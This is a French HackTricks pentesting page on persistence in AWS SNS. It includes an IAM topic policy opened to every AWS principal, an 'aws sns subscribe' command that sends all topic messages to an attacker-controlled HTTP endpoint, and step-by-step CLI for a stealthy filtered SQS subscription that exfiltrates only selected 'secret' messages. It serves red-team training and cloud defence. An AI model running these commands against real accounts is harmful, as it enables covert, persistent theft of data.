AWS - SNS Persistence

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

SNS

Pour plus d'informations, consultez :

AWS - SNS Enum

Persistence

Lors de la création d'un SNS topic vous devez indiquer avec une IAM policy qui a accès en lecture et en écriture. Il est possible d'indiquer des comptes externes, ARN of roles, ou même "*".
La policy suivante donne à tout le monde dans AWS l'accès en lecture et en écriture au SNS topic appelé MySNS.fifo:

json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Créer des abonnés

Pour continuer à exfiltrer tous les messages de tous les topics, un attaquant pourrait créer des abonnés pour tous les topics.

Notez que si le topic est de type FIFO, seuls les abonnés utilisant le protocole SQS peuvent être utilisés.

bash
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Exfiltration covert et sélective via FilterPolicy on MessageBody

Un attaquant disposant de sns:Subscribe et sns:SetSubscriptionAttributes sur un topic peut créer une subscription SQS furtive qui ne transmet que les messages dont le corps JSON correspond à un filtre très restreint (par exemple, {"secret":"true"}). Cela réduit le volume et la détection tout en exfiltrant des enregistrements sensibles.

Impact potentiel : Exfiltration covert et peu bruyante uniquement des messages SNS ciblés depuis un topic victime.

Étapes (AWS CLI) :

  • Vérifier que la policy de la queue SQS de l'attaquant autorise sqs:SendMessage depuis le TopicArn de la victime (Condition aws:SourceArn égale au TopicArn).
  • Créer la subscription SQS au topic :
bash
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
  • Configurer le filtre pour opérer sur le message body et ne faire correspondre que secret=true :
bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
  • Option stealth : activer le raw delivery pour que seul le payload brut arrive chez le destinataire :
bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
  • Validation : publier deux messages et confirmer que seul le premier est livré à la queue de l'attaquant. Payloads exemples :
json
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
  • Nettoyage : unsubscribe et supprimer la queue SQS de l'attaquant si elle a été créée pour les tests de persistence.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks